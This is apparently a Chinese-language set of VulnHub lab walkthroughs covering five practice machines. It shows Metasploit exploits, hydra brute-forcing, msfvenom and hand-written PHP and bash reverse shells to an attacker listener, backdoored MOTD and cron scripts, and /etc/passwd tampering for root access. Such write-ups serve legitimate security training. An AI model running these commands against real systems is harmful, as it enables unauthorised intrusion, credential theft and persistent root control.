vulnhub

basic_pentesting_1

信息收集

进入msfconsole 利用 nmap 扫描靶机 image-20240313091942552

开启了 20, 21, 80 端口

FTP方向

先从 ProFTPD 下手

查找 ProFTPD 相关的漏洞利用和相关的参数配置 image-20240313091849374

设置 rhost, 选择相关 payload image-20240313092643751

设置 payload 相关系数 image-20240313092811120

运行 image-20240313092923328

HTTP方向

再从 80 下手 先进行目录扫描 image-20240313093517188

访问192.168.10.8/secret, 这是一个博客界面, 是有后台的 随便在 dirb 点开一个带 wp-admin 字样的网址就能跳转到登录界面 账号密码都是admin, 登入

成功后回到 msf, 利用已有 payload image-20240313094830201

set username admin
set password admin
set rhost 192.168.10.8
set targeturi /secret/
run

检查权限, 发现需要提权 image-20240313095806457

meterpreter 下有个 edit 命令, 类似于 vim /etc/passwd 文件的第二位 x , 是密码占位符, 密码其实是加密存储在 /etc/shadow 下的 可以假设 x 位密码存在, 那么root 就会默认密码为 x 位, 就不会去读取 /etc/shadow. 可以利用edit来进行编辑 image-20240313100249500

利用openssl passwd -1, 生成密码, 密码明文为admin image-20240313121809608

输入edit /etc/passwd进行编辑(不一定每个靶机都行), 将之前生成的密码添加到root后的x位置 image-20240313123042496

提权

shell
python3 -c 'import pty; pty.spawn("/bin/bash")' // 美化命令行界面, 可以不要
su root // 输入admin

成功提权 image-20240313123503548

Chili

信息收集

同样 nmap 把 ip 扫一遍, 开放 21, 80 端口 但是非常遗憾, 没有能直接利用这个 ftp 版本的漏洞, 只能从 80 下手

访问网站翻阅源代码,只有一行引人注目, 大概率是暗示账号是Chili

<meta> name="keywords" content="Chili">

爆破

在 80 没有登录端 ( dirb 扫描可知) 的情况下, 尝试弱密码爆破 ftp 登录 使用 hydra 九头蛇工具

还是推荐hydra -U http-from查看具体帮助, 以下是常见命令

参数 作用
-l / -L 小写指定用户名, 大写指定用户名字典
-p / -P 小写指定密码破解, 大写指定密码字典
-C 使用"登录名;密码"代替 -L / -P 函数

字典可以使用 kali 自带的( /usr/share/wordlists/rockyou.txt.gz ), 但是过于大且要先自己解压 还是推荐用自己的字典

gzip -d FileName.gz			// 解压, 然后当前目录输入以下代码

hydra -l chili -P rockyou.txt ftp://192.168.10.8

image-20240313210927383

ftp连接ftp 192.168.10.8

kali中若未安装ftp服务, 可以自行安装: 下载FTP: apt-get install ftp ftp 192.168.10.8

或者: apt-get install vsftpd service vsftpd start 开启服务 service vsftpd status 查看状态 service vsftpd stop 停止服务 service vsftpd restart 重新启动服务

反弹 shell

连接成功后到网站根目录下( var/www/html )查看所有文件

cd ../../../../../../../../
cd var/www/html
ls -all // ls -a

发现有一个.nano文件夹是可读可写可执行( drwxrwxrwx )的 image-20240313215404750

ftp是没法在这里运行木马的, 既然这是一个网站目录, 就用 php 然后等我们访问触发反弹 shell

msfvenom -p php/meterpreter/reverse_tcp lhost= lport= R>shell.php

在 ftp 内利用put命令上传 php 木马

put shell.php  /var/www/html/.nano/shell.php		// 上传
cd /var/www/html/.nano
chmod 777 shell.php // 给予权限

image-20240313223258926

在msfconsole使用对应模块如下图所示

use exploit/multi/handler
set 对应参数
run

image-20240313224122657

然后浏览器访问192.168.10.8/.nano/shell.php, 就可以发现在 msf 上可以执行命令了

提权

一样是利用 openssl 生成密码, 然后通过 msf 的 edit 修改 /etc/passwd

DC1

信息收集

image-20240314102450823 开放22, 80, 111端口

  • 22 开放 openssh 服务, 可能会有 ssh 弱密码爆破
  • 80 框架 Drupal 7, 可能会有相对应的漏洞利用
  • 111 rpcbind 暂无

漏洞利用

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2

进行参数配置, 运行即可 image-20240314132754386

寻找 flag

执行ls, 可以看到当前目录有一个flag1.txt

cat flag1.txt		// 查看文件内容
Every good CMS needs a config file - and so do you.
// 一般来说一个好的CMS都有一个配置文件,你也是

暗示我们需要寻找 cms 的配置文件来找到下一个 flag, 利用find命令 image-20240314133835326

find -name set*
./sites/default/settings.php

来到此目录, 依次执行

grep -n flag settings.php		// 查找文件中 flag 字符出现的位置, 返回5
head -n 30 settings.php
// 只查看前30行的原因是这个文件非常的长, 看完后发现有用信息只在前面, 略过了查看全文的过程

flag2 的提示:
暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限).你能用这些证书做什么?

image-20240314135441200

可以得到 mysql 的账号密码, 可以尝试登录

mysql -udbuser -pR0ck3t			// 简单登录
show databases; // 查看数据库
use drupaldb; // 更改所在数据库
show tables; // 查看所有表
select * from users; // 查询表内内容, 我们需要查 users 这个表

image-20240314143457148

密码被加密, 搜索Drupal 7的加密方式 在 Drupal 的安装目录的scripts目录中, 有一些开发者备好的 PHP 脚本. 其中一个 password-hash.sh 可以传入然后加密一个字符串, 返回密文, 我们利用这个来进行下一步操作

exit		// 退出mysql
php scripts/password-hash.sh 123456
// 不要进入 scripts 后调用 password-hash.sh, 会报错, 不知道为什么

image-20240314145902841

现在回到mysql中修改密码

select uid,name,pass from users;		// 仅查看有用的部分
update users set pass="" where name="admin"; // 更改admin的密码
select uid,name,pass from users; // 检查一下

image-20240314151140960

浏览器访问和登录就可以找到 flag3,下面是获得的提示, 提示我们查看passwd

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS将有助于查找密码, 但您需要执行该命令才能找到阴影中的内容。

image-20240314151956062

flag4在根目录, 我们前往即可, 以下是获得的提示

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
您可以使用相同的方法来查找或访问根中的标志吗? 可能, 但也许没那么容易 也许是这样?

提权

flag3 和 flag4 分别给了提示: find 和 exec

find . -exec /bin/sh \; -quit

image-20240314153458022

后记

  • 刚刚的用户 flag4 是 ssh 用户名, 我们可以用 hydra 进行爆破

    爆破出来后连接进去也是需要 find 提权的, 这里不再赘述

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.8
// 自行解压
  • 可以直接执行 find 查找后缀为 txt 的文件, 直接找到最终 flag 后直接进行提权
find / -name ".txt"

ubuntu-NARAK

信息收集

nmap -A 192.168.10.8		// 没东西
nmap --script=vuln -p 22,80 192.168.10.8 // 扫描漏洞

image-20240314213201925

基本一无所获, 只有几个类似目录和似乎是一个CSRF漏洞

网页访问, 没找到什么东西 nmap已经帮我们扫出了两个目录, 可以试着访问 /webadv的访问需要密码, 而/image中没有有用的东西

账号密码获取

测试后有爆破和目录扫描两种方法可以得到账号密码:

爆破

使用 kali 下的字典生成器 cewl 工具爬取该页面存在的字符串, 保存为txt形式

cewl 192.168.10.163 -w pass.txt

得到这些字符串之后可以使用hydra进行爆破

hydra -L pass.txt -P pass.txt 192.168.10.8 http-get /webdav

image-20240314220429238 可以得到账号密码: yamdoot Swarg

目录扫描

换一个字典进行目录扫描 image-20240314222715675

可以找到 tips.txt, 可以直接访问

hint to open the door of narak can be found in creds.txt

在得到这个提示之后, 会发现 creds.txt 无法访问

线索无法推进, 返回一开始的信息收集, 尝试其他方案

nmap -sU --top-ports 10 192.168.10.8	// 无结果
nmap -sU --top-ports 20 192.168.10.8 // tftp

image-20240314225053581

tftp是一个简单文件传输协议, 用来在客户端和服务端进行文件传输, 它不具备通常的FTP的许多功能, 它只能从文件服务器上获得或写入文件, 不能列出目录 试试能不能用tftp协议, 从靶机服务器把creds.txt下载下来

tftp 192.168.10.8
get creds.txt // 是base64编码
cat creds.txt | base64 -d // 下载下来后解码

image-20240314225642226 获得了账号和密码

登录

回到 webdav 页面, 输入用户名 yamdoot, 密码 Swarg 虽然这里什么都没有, 但是有相应文件上传漏洞

IIS6.0 sever在web服务扩展中开启了WebDAV. WebDAV是在一中HTTP1.1的扩展协议, 它扩展了HTTP1.1, 在GET、POST、HEAD等几个http标准方法以外添加了一些新的方法, 如PUT, 使应用程序可对Web Server直接读写, 并支持写文件锁定及解锁, 可以像在操作本地文件夹一样操作服务器上的文件夹

该扩展也存在缺陷, 利用PUT方法可直接向服务器上传恶意文件, 控制服务器, 导致PUT任意文件上传

此时靶机已经提供了服务端, 我们只需要构造一个客户端就能利用这个漏洞

kali 工具 davtest ,用于测试通过 webdav 可以上传哪些对应文件以及其对应权限 cadaver 是 webdav 客户端, 用来上传木马

davtest -url http://192.168.10.8/webdav -auth yamdoot:Swarg 

image-20240317175152693

没有任何的过滤, 但是只有 php, txt, html 有相应执行权限, 可以利用php的反弹 shell

反弹 shell

msf 中的反弹 shell:

msfvenom -p php/meterpreter/reverse_tcp lhost= lport= R>shell.php
// -f raw 原始二进制数据

手写反弹 shell 和利用过程:

利用 vim 编写木马 shell.php, 如果用 echo 查看文件会发现部分被编译丢失

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.1/10000 0>&1'"); ?>
// 自己的 ip 然后是端口

检查之后上传

cat shell.php
cadaver http://192.168.10.8/webdav
// 输入用户名和密码(yamdoot:Swarg)
put shell.php

image-20240317182553878

再次访问 webdav 目录, 可以看到上传的 shell.php 此时我们开启nc监听10000端口, 然后访问shell.php, 即可触发反弹shell

nc -lvnp 10000

image-20240317182829442

查看用户

cd /home
ls
// infero narak yamdoot 三个用户

查找可写的文件

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

image-20240317184836611

依次查看看起来有用的文件, 只有 hell.sh 有用, cat 之后可以得到一串字符, 可能是密码

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
// 得到 chitragupt

这是一种名为 brainfuck 的编程语言, 简称 bf, 找解码工具即可

提权和获取flag

ssh

第一个 flag 就在这里, 这里的ssh连接账号密码还可以在虚拟机的界面详情获取 ssh连接, 账户 inferno, 密码 chitragupt, 连接就可以在当前目录下找到txt文件, 里面是flag whatsup

ls
// user.txt
cat user.txt
// Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}

第二个 flag 在 root 目录下 我们现在并非管理员权限, 我们需要提权, sudo -l 查看权限, 一点没有 那就一样搜索具有可写权限的文件

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

image-20240317194224825

刚好, motd也是常见的提权方式之一

motd提权

MOTD(Message of the Day)是Linux系统登录时显示的一段信息 重点关注00-header, 这是linux在登录时会运行的显示欢迎信息的脚本, 可以发现这个就脚本的所有者和所在组都是root, 且此时inferno用户拥有对该文件的写权限, 因此我们只要在这个文件中添加反弹shell的代码, 当该脚本执行时即可触发反弹shell

使用 vim/ vi 或直接 echo 追加, 添加反弹 shell 代码( 最底部即可 )

echo "bash -c 'bash -i >& /dev/tcp/192.168.10.1/10000 0>&1'" >> 00-header

image-20240317195749760

然后监听对应端口, 重新 ssh 连接即可连接反弹 shell image-20240317200056654

然后在 /root 下可以找到 root.txt 文件,获得flag

Root Flag: {9440aee508b6215995219c58c8ba4b45}

image-20240317200316125

jarbas

信息收集

用nmap进行简单扫描

nmap -A 192.168.10.8

开放端口: 22, 80, 3306, 8080 服务: ssh, web, mysql, web_Jetty 已知: 8080有一个 robot.txt 泄露

访问可以得到一段话:

#we don't want robots to click "build" links

没有收获用 dirb 进行目录扫描

dirb http://192.168.10.8 /common.txt
// 这里用的不是不是 dirb 的自带字典, 是自己的

image-20240317214943491

访问access.html, 可以得到三组类似账号密码的东西 这些字符串经过 md5 加密,可以在解密网站上解密, 结果为

tiago:italia99
trindade:marianna
eder:vipsu

不知道干什么的就先放一边

访问8080, 发现是个登录界面, 正好上面三组, 拿来试一下 只有 eder 是可以使用的

渗透

现在进入了后台, 可以进行木马上传, Jenkins平台相应漏洞可以搜索

新建任务 -> 创建一个自由风格的软件项目 -> 构建 -> Execute shell -> 输入反弹 shell image-20240317220810220

/bin/bash -i >& /dev/tcp/192.168.10.1/10000 0>&1

然后在 kali 监听对应端口

nc -lvnp 10000

在网站选择 保存( apply->save ) -> 立刻构建(build now) image-20240317221642517

crontab提权

非管理员, sudo -l 发现没有任何权限, 寻找具有可写权限的文件, 发现了 CleaningScript.sh 此处增加了 usr 是因为出现了大量usr的无关内容

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" -not -path "/usr/*" 2>/dev/null

image-20240317224127641

似乎只是一个删除网站日志的文件 但这个文件不可能被人多次手动运行, 所以可能会在系统的计划任务之中

crontab是linux设置的一定周期执行一次的指令, 用于指定定时任务. 查看命令如下

cat /etc/crontab

image-20240317225134304

而我们刚才查看的脚本就在这里面而且是每5分钟执行一次, 所以我们可以通过修改这个文件来以 root 命令执行反弹 shell 获得管理员权限

echo '/bin/bash -i >& /dev/tcp/192.168.10.1/9999 0>&1' >>/etc/script/CleaningScript.sh

在kali打开端口监听, 然后等待这个脚本被计划任务运行, 进去可以发现一个flag.txt image-20240317225719350